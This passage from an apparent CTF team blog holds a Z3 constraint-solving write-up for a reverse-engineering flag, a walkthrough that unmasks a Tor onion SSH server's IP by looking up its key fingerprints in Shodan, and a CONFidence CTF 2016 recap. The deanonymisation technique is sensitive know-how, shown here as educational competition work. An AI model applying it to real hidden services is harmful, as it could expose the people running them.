r11d = BitVec('r11d', 32)
r14d = BitVec('r14d', 32)

# Basically the initial block of the code translated to Python & Z3.
eax = A
edx = C
esi = eax
r9d = B
r11d = edx
r10d = D
r8d = r10d
r14d = edx & BitVecVal(0xffff, 32)
edx = r9d
edi = eax & BitVecVal(0xffff, 32)
eax = r14d
esi = esi >> 0x10
eax = eax ^ esi
r11d = r11d >> 0x10
edx = edx >> 0x10
r8d = r8d >> 0x10
ecx = r9d & BitVecVal(0xffff, 32)
r9d = r10d & BitVecVal(0xffff, 32)

lower_limit = 0x20
upper_limit = 0x7e

s = Solver()
s.add(
    # The rest of the blocks translated as conditions.
    eax == 0x2633,
    r14d+esi == 0xa6cb,
    r11d^edi == 0x535c,
    r11d+edi == 0x939C,
    r9d^edx == 0x0103,
    r9d+edx == 0xC993,
    r8d^ecx == 0x066f,
    r8d+ecx == 0xE68F,
    (r9d * BitVecVal(4, 32) + ecx + BitVecVal(0x13, 32)) ^
    (edx + BitVecVal(0x37, 32) + r8d) == 0x2D231,

    # And some limits to get ASCII flag.
    (A & 0xff) >= lower_limit, (A & 0xff) <= upper_limit,
    (B & 0xff) >= lower_limit, (B & 0xff) <= upper_limit,
    (C & 0xff) >= lower_limit, (C & 0xff) <= upper_limit,
    (D & 0xff) >= lower_limit, (D & 0xff) <= upper_limit,

    ((A >> 8) & 0xff) >= lower_limit, ((A >> 8) & 0xff) <= upper_limit,
    ((B >> 8) & 0xff) >= lower_limit, ((B >> 8) & 0xff) <= upper_limit,
    ((C >> 8) & 0xff) >= lower_limit, ((C >> 8) & 0xff) <= upper_limit,
    ((D >> 8) & 0xff) >= lower_limit, ((D >> 8) & 0xff) <= upper_limit,

    ((A >> 16) & 0xff) >= lower_limit, ((A >> 16) & 0xff) <= upper_limit,
    ((B >> 16) & 0xff) >= lower_limit, ((B >> 16) & 0xff) <= upper_limit,
    ((C >> 16) & 0xff) >= lower_limit, ((C >> 16) & 0xff) <= upper_limit,
    ((D >> 16) & 0xff) >= lower_limit, ((D >> 16) & 0xff) <= upper_limit,

    ((A >> 24) & 0xff) >= lower_limit, ((A >> 24) & 0xff) <= upper_limit,
    ((B >> 24) & 0xff) >= lower_limit, ((B >> 24) & 0xff) <= upper_limit,
    ((C >> 24) & 0xff) >= lower_limit, ((C >> 24) & 0xff) <= upper_limit,
    ((D >> 24) & 0xff) >= lower_limit, ((D >> 24) & 0xff) <= upper_limit,    
)

print s.check()
m = s.model()

res = [
    int(str(m.evaluate(A))),
    int(str(m.evaluate(B))),
    int(str(m.evaluate(C))),
    int(str(m.evaluate(D)))
]

oo = ""
for x in res:
  o = hex(x)[2:].decode("hex")[::-1]
  print hex(x), o
  oo += o

print oo

This gave us the following string - " pMb_tHe~D|#Kd0r" - which worked!


Or did it?

Well, actually it didn't - the CTF system said the flag is incorrect. This is usually the moment to ping the CTF admins and ask "what's up", though I was pretty sure it was an instance of a usual problem summarized as "the CTF system only accepts one flag, while the task itself permits multiple correct solutions" (i.e. the in-task check was too loose). This indeed proved to be true and the admins released the aforementioned hint:

Hint
Flag starts with h0lD

Coincidentally, just before the hint was released I've tweaked the limits to >= ord('0') and <= ord('z') in my Z3 equations and this indeed resulted with the "h0lD" flag:

lower_limit = ord('0')
upper_limit = ord('z')




However, again it turned out that the flag was not accepted, but this time I guessed the problem (which was actually hinted by the CTF system itself) - the flag should start with capital "EKO" and not lowercase "eko". So the final flag was:

EKO{h0lD_tHe_b4cKd0r}

And that's it! A pretty fun task I must add.

Saturday, October 29, 2016

EKOPARTY CTF 2016 - FBI 100

The FBI category is something new that I personally have not seen on a CTF (though in all honesty I did have a rather long break). An FBI task usually is about a service (or server) with a known address in one of the darknet areas of Internet (think: TOR or I2P), and the task at hand is to get to know the whereabouts of the said service, e.g. by acquiring it's IP address.

The FBI 100 aka "Find me" task at EKOPARTY CTF was exactly this:



So basically we were given the SSH server address within the TOR network, but no credentials - i.e. one was not able to log in. This leaves us only with the few first packets of SSH to play with, which thankfully include server authentication - i.e. the fingerprints.

When first connecting with the host we got this:

$ torify ssh ekosshlons2uweke.onion
The authenticity of host 'ekosshlons2uweke.onion (127.0.69.0)' can't be established.
ECDSA key fingerprint is c1:aa:9a:bb:e3:68:f5:9d:e2:ff:ee:84:6c:ca:25:96.

The fingerprint is unique to the server's key, and there are actually online scanners and databases which gather all the fingerprints and allow one to look them up and check where (i.e. at which IP(s)) were they found. Shodan is one of them (if you though about Sentient Hyper-Optimized Data Access Network then... no, that's not the one... hopefully), however looking up the key yields no results:



That being said, ECDSA is not the only schema usually used with SSH - there are also others (e.g. RSA). The easiest way to enumerate the keys is to use ssh-keyscan:

$ torify ssh-keyscan ekosshlons2uweke.onion 2>/dev/null
ekosshlons2uweke.onion ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCbc0Xep7BgaSkwGNHbaeWqfgnTDa3Zg3VIfr7KhETIxsJKnJg7v6a2l9m9kfLdRKxVW+SaEFUFTvDlsvoY6w8g=
ekosshlons2uweke.onion ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu3ad/Od8xajteAd1g05rWhEe9/jnYeHDAi3dD48WrUbHg9JzK48tvRhyVR4yHIlCd9VItZRB83tLKWryBJRDedP8KLcOxwGAUjAXoVzsdaffJuRLXw0GZHyWce+lOA+TLA+jH5hB3mB1kCDvX7ZrvHeMYvHXEJfiX/BIcx50ijo5+ndlcWnkfhbWqR2Neg+4UHR8zsB9UZQJxZpe3HNpv89L0nyUrQ9ap8nqqFGfzVDUVoV9gDl+O4OguliGDPo/9TGz+LPr3T/3gc5knsyeTLP2/9uWO2zlw6Ib2cCU59wLfiRx+SMzVJA/HHBQ2jTJjwZmu5Kggy9K3SPQjjamr 

To get the fingerprints in a standard form you have to run ssh-keygen on the above output:

$ ssh-keygen -l -f /tmp/xxx
256 c1:aa:9a:bb:e3:68:f5:9d:e2:ff:ee:84:6c:ca:25:96 ekosshlons2uweke.onion (ECDSA)
2048 4f:b2:e5:dd:63:86:dd:52:d1:d5:a4:d3:3c:55:e5:2e ekosshlons2uweke.onion (RSA)

Having the above we could look up the RSA (second) key in Shodan, which did in fact give up what we looked for:


And that's it - the flag was: EKO{52.73.16.127}

Since I'm not fluent with SSH it took me about 15 minutes to solve this task, most of which consisted of googling how to get SSH to display different keys than the default one.

Wednesday, May 25, 2016

CONFidence CTF 2016 task solution slides


The CONFidence CTF 2016 is over and therefore it is time for a short summary.

Let's start with congratulating once again the top three teams who took home the prizes:
  1. Tasteless (2700 pts)
  2. p4 (2250 pts)
  3. 9447 (1900 pts)
Well done, well played!

The full scoreboard is available on CTFTime.org and includes 22 teams (limited to teams which solved at least one task).

As far as tasks go, the CTF offered 19 tasks altogether, split as following:
  • 5 x Exploitation
  • 4 x Reverse Engineering
  • 3 x Web
  • 2 x Cryptography
  • 2 x Steganography
  • 1 x Miscellaneous
  • 1 x Networking
So yes, it was a binary heavy CTF with some diversity in other categories. A brief solution to each of the task can be found on the following slide deck (originally used during a post-CTF task presentation just after the CTF):

https://docs.google.com/presentation/d/1Nb9RQ6lqtrrHZVEG-0WhAA_OE-uA9vmoi74I4KPfoT4

And that's it for this year's edition. Once again, a big round of thanks to all the players, as well as to the CONFidence conference organizers and Dragon Sector team members and our friends for making this happen!

See you next year!


Photos by: masakra, gynvael

Wednesday, April 20, 2016

Write-ups for 0CTF 2016 Quals and Pwn2Win CTF 2016

Hi!

It's been quite a while since we published any write-ups, so it's a high time to do so. Here goes a bunch of them from two recent CTFs: